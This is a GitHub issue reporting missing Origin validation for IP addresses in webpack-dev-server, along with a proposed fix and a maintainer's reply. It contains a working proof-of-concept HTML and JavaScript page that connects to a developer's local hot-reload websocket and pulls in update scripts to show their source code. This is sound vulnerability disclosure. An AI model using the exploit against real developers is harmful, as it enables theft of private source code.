Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Missing Origin Validation, for IP addresses #1618

Closed
2 tasks done
carlosgeos opened this issue Jan 3, 2019 · 1 comment
Closed
2 tasks done

Missing Origin Validation, for IP addresses #1618

carlosgeos opened this issue Jan 3, 2019 · 1 comment

Comments

@carlosgeos
Copy link

  • Operating System: Hannah Montana Linux
  • Node Version: v11.6.0
  • NPM Version: 6.5.0
  • webpack Version: 4.17.1
  • webpack-dev-server Version: 3.1.14
  • This is a bug
  • This is a modification request

Hello 😄 !!! This issue is intended to build on top of #1603

Code

Just check https://github.com/webpack/webpack-dev-server/blob/v3.1.14/lib/Server.js, especially the checkHost method and this snippet:

if (!this.checkHost(connection.headers) || !this.checkHost(connection.headers, 'origin')) {
this.sockWrite([ connection ], 'error', 'Invalid Host/Origin header');
connection.close();
return;
}

Expected Behavior

No remote application opened in a browser should be able to connect to the local websocket server with new WebSocket(). Only localhost, this.hostname, this.publicHost, etc should.

Actual Behavior

If a developer visits a site/app (without domain, just an IP address), this site/app could contain some JS code that connects to the local websocket server to listen for changes, obtain the hash of the hot update, get the update etc, basically what is described in https://www.npmjs.com/advisories/725.

The origin check will pass because the checkHost method contains this:

if (ip.isV4Format(hostname) || ip.isV6Format(hostname)) {
return true;
}

and this method is used to check the origin as well.

It was decided that all IP's are OK in the host header in #1007 because they are not vulnerable to DNS rebind attacks etc. It allows people to have development setups in a LAN, let other people check their code running in the dev server etc. (which is useful, and a nice feature) WITHOUT specifying the public option, just the host: '0.0.0.0' option. This is actually another problem.

For Bugs; How can we reproduce the behavior?

This is how any website not using a domain name can connect to your local websocket server:

Take any remote machine xxx.xxx.xxx.xxx. Serve the following:

<!-- index.html -->
<html>
  <body>
    <p>Hello im the attacker !</p>
    <script src="./index.js"></script>
  </body>
</html>
// index.js
window.webpackHotUpdate = (...args) => {
    console.log(...args);
    for (i in args[1]) {
        document.body.innerText = args[1][i].toString() + document.body.innerText
            console.log(args[1][i])
    }
}

let params = new URLSearchParams(window.location.search);
let target = new URL(params.get('target') || 'http://127.0.0.1:8080');
let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss';
let wsPort = target.port;
var currentHash = '';
let wsTarget = `${wsProtocol}://${target.hostname}:${wsPort}/sockjs-node/123/456/websocket`;
ws = new WebSocket(wsTarget);
ws.onmessage = event => {
    console.log(event);
    if (event.data.match('hash')) {
        s = document.createElement('script');
        s.src = `${target}main.${currentHash}.hot-update.js`;
        document.body.appendChild(s)
        r = event.data.match(/"([0-9a-f]{20})\\"/);
        // This will actually be the hash for the next update
        currentHash = r[1];
    }
}
  • Then have webpack-dev-server + HMR running some application of your own locally.
  • Visit xxx.xxx.xxx.xxx
  • Make a few changes to your application. You will see the changes on xxx.xxx.xxx.xxx.

The solution and the problem

I've already implemented some solutions to this, I can submit a PR but I need feedback before.
There would be a new method checkOrigin that does this task. Or even better keep checkHost for everything but remove the automatic validation of any IP introduced in #1007 ! (which actually solves two problems).

This will make people use the public option, since right now, having ONLY host: '0.0.0.0' is enough to serve externally (if accessing with an IP). This comment by @sokra (here #882 (comment)) suggests it is bad usage and the docs indicate the public option should be used: https://github.com/webpack/webpack-dev-server/blob/master/examples/cli/public/README.md

To summarise, in case of a PR being merged:

If someone is just using localhost to develop

Nothing changes. They will have a tiny bit of extra security.

If someone is using several computers on a LAN or showing people in their LAN their dev server

They would have to look for their private IP, e.g. 10.0.0.10 or 192.168.0.100 and put it in the public option, like it was intented from the beginning.

If webpack-dev-server is running on mydevmachine.dev

The public option should already be set so no problem. This issue is only about IP addresses.

Some other complex setup with proxies, redirects, etc:

I haven't thought about everything, but the PR shouldn't break things. It might even help !

Related links:

https://nvd.nist.gov/vuln/detail/CVE-2018-14732
https://blog.cal1.cn/post/Sniffing%20Codes%20in%20Hot%20Module%20Reloading%20Messages

@alexander-akait
Copy link
Member

@carlosgeos Feel free to send a PR 👍

carlosgeos pushed a commit to carlosgeos/webpack-dev-server that referenced this issue Jan 8, 2019
for both Host checking and Origin checking
carlosgeos pushed a commit to carlosgeos/webpack-dev-server that referenced this issue Jan 8, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
2 participants